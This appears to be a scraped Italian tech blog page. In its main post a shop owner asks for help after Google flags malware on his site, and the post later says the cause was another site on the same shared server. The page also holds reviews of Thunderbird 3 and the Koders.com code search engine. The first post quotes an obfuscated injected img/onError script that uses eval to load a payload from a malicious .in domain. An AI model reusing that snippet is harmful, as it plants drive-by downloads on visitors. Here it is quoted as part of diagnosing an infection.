C’è qualcosa che non va.. guardando sui webmaster tools di Google vedo che su un sito mi segnala una pagina contenente questo codice:

Purtroppo Google ha trovato codice dannoso sul tuo sito.

< img src=”about:blank” onError=’astro=unescape(“%27″);astru=
unescape(“%22″);sksa=eval(“document.getElementById(“+astro+”
seaid”+astro+”).src=unescape(“+astro+”%68%74%74%70%3A%2F%2F”
+astro+”)+document.getElementById(“+astro+”5550″+astro+”).id
+unescape(“+astro+”%2E%69%6E%2F”+astro+”)+”+astro+”129091371
2″+astro+”+unescape(“+astro+”%2E%70%68%70″+astro+”)”);docume
nt.getElementById(“seaid”).src=sksa’ style=”width:300;height
:300;border:0px;” >

mentre sul secondo sito mi dice che è tutto ok.

Facendo qualche ricerca trovo che questo codice è proprio la codifica di un url solitamente composto cosi xxxxx.in/xxxx.php che contiene codice malevolo e fa aprire 2 pdf infetti. Leggo inoltre che ha colpito molti blog su base wordpress.

Per caso ne hai sentito parlare?

Io nei miei due negozi online, creati con cms diversi (zen-cart e virtuemart) non riesco a trovare questo codice, inoltre ho guardato le date di ultima modifica dei file per capire se qualcuno avesse iniettato codice malevolo e non c’è niente di recente. Ho cercato veramente a fondo leggendo tutti i casi e cercando file dopo file eventuali stringhe nascoste, iframe o script, htaccess e file config,  ma niente! E’ tutto in ordine e pulito..

A me personalmente non è mai apparso niente navigandoci e comunque Google non da l’avviso di “sito che può danneggiare il tuo computer”; non so più dove guardare o cosa fare. Credo ci sia qualcosa, perchè avendo ricevuto segnalazioni diverse ho scartato l’idea di un falso positivo o di un problema sul pc con cui si naviga.

Hai qualche consiglio da darmi? esperienze simili? aiuti su dove potrebbe esserci un buco?

I due negozi sono bigiotteria e cosmetici la versione dei cms è piuttosto datata lo so, però sono le versioni stabili con relative patch; non le ho ancora aggiornate in quanto sono gli ultimi mesi di vita, presto lasceranno il posto ad un negozio tutto nuovo.

Per il momento non mi resta che aspettare l’aggiornamento dei dati in strumenti per webmaster di Google per vedere se lo ritrova.

Ogni consiglio sarà veramente di aiuto, grazie!

P.S.: Ho un buono adwords da 75 euro in più Potrebbe essere un regalo per chi risolve il caso

P.P.S.: Visitando i siti ricevete un allarme dal vostro antivirus? (se loa vete ovviamente)

UPDATE: Ancora oggi sono in alto mare.. ho potuto testarlo di persona; dopo il tad di chiusura </html> appare il codice postato sopra, richiama un file php che carica delle classi java, fa scaricare dei file pdf e fa partire il media player di windows. Un disastro insomma.

Vedo che il sito dannoso è 3737373.in o in-in.in, trattasi di Un Trojan-Downlaoder.java.openconnection.bu e un trojan Packed.Win32.Krap.ao

UPDATE RISOLUTIVO: Bene, trovata la soluzione. Il codice maligno non riuscivo a scovarlo semplicemente perchè non c’era. -.- Mi ha risposto il provider dicendo che han risolto; un sito ospitato sul mio stesso server stava infettando tutti gli altri.

Bene, anno nuovo server nuovo, passo ad un dedicato

Articoli Correlati:

1. Backup del Tuo Blog e Sito in Meno di 2 Minuti con Php
2. Dreamweaver Aggiunge Righe Vuote nel Codice Html
3. Motore di Ricerca di Codice Open Source

L’installazione è stata semplicissima, dopo averlo scaricato dal sito ufficiale ho fatto partire il setup direttamente senza disinstallare la versione 2 che avevo e ha eseguito un aggiornamento senza problemi. Ha riportato tutti i miei account, regole, indirizzi messaggi, tutto in ordine.

Unica incompatibilità è stata con il calendario lightning, la versione installata che avevo non andava bene ed era un problema noto. Visto che senza calendario non potevo stare di certo, mi son messo a cercare e ho installato la versione nightly builds (development builds); è in fase di sviluppo però non ho riscontrato problemi, anzi ne ha risolti un paio che avevo. Ovviamente mi ha riportato tutti gli appuntamenti e attività già programmate, in attesa della versione 1.0 questa fa il suo lavoro.

Cosa offre di nuovo questo client di posta elettronica?

La novità maggiore riguarda sicuramente l’introduzione della navigazione a schede, proprio come il fratello Firefox e devo dire che è veramente comodo, si comincia subito ad utilizzarle e la gestione diventa semplice e veloce; anche il calendario si apre su una scheda. Thunderbird 3 ti permette di aprire le e-mail in diverse schede e passare rapidamente da un messaggio all’altro.

Un’altra novità importante è la ricerca dei messaggi, migliorata di molto con una struttura tutta nuova. Anche i risultati di ricerca si aprono in una nuova scheda. Nuovi strumenti come il grafico della sequenza temporale (timeline) e i filtri ti aiutano a individuare il messaggio che stai cercando, che si tratti di una e-mail del giorno precedente, del mese scorso o di un anno fa.

Una funzione interessante e utile per chi gestisce molti account, come me che ne ho 8, è data dalle Cartelle Smart che permettono di consultare velocemente solo la cartella posta in arrivo di ogni account senza dover passarli uno ad uno, ragruppandole tutte in alto assieme. E’ comunque sempre disponibile anche la versione classica, con un semplice click.

Riassumendo questo client di posta mi piace proprio, han fatto un bel lavoro e un grande passo avanti. Lo consiglio a tutti!

Articoli Correlati:

1. Mozilla Thunderbird File di Posta Enormi Anche Senza Messaggi
2. Emesene Un Messenger Gratuito Multipiattaforma
3. FeedDemon 3 RSS Reader – Aggregatore News Gratuito
4. Scoprire e Recuperare la Password Persa di Windows
5. Html Nel Messaggio Email Problema Outlook 2003

Un modo originale per sostituire l’odiato simbolino onnipresente “Designed for Microsoft Windows”.

Salva la tua preferita!

Articoli Correlati:

1. Un Water Marchiato Linux
2. Przegladanie wynikow instalacji
3. Microsoft, Mi hai Preso per Chuck Norris?
4. Ottenere il Cd di Ubuntu 9.04 Completamente Gratis!
5. Ubuntu 9.10 – Karmic Koala – Sta Arrivando

Koders

Surfando nella rete oggi mi sono imbattuto in Koders.com, motore di ricerca per codice Open Source.

Nell’home page è in evidenza la scritta 2 miliardi di linee di codice a disposizione e questo mi ha incuriosito subito a provare. L’utilizzo è semplice, c’è la classica casella di ricerca con la possibilità di profilare le ricerche in base al linguaggio di programmazione e alla licenza del codice fornito.

Io ho fatto alcune ricerche di prova scegliendo Php come linguaggio e lasciando All licenses, come parola cercata ho usato “form” e mi sono usciti 209,838 risultati, pezzi di codice php open source; la disposizione è chiara ed essenziale, nome della funzione, codice vero e proprio, linguaggio e il link al progetto.

Sempre nella home possiamo trovare degli esempi di ricerca per capire come sfruttare questo motore e il link per accedere al forum.

Altra features non da poco è la disponibilità di plug-in per tutti i linguaggi e plug-in per il solo linguaggio scelto, installabile  per il nostro amato Firefox o programmi IDE come Eclipse o Visual Studio dal 2003 in poi.

Questo motore di ricerca per codice open source mi ha fatto proprio una buona impressione, tornerà utile nelle notti perse nei meandri del codice. Ottimo, pulito veloce essenziale… usabile!

Prova anche tu Koders.com

Non hai voglia di cambiare pagina? allora puoi provarlo direttamente da qui, altra funzione disponibile!

Articoli Correlati:

1. Mozilla Thunderbird 3 Client di Posta Elettronica Gratuito
2. Internet A Tavola: Se Magna Con Ricette 2.0
3. [RISOLTO] Sito Infetto Da Malware: Dove?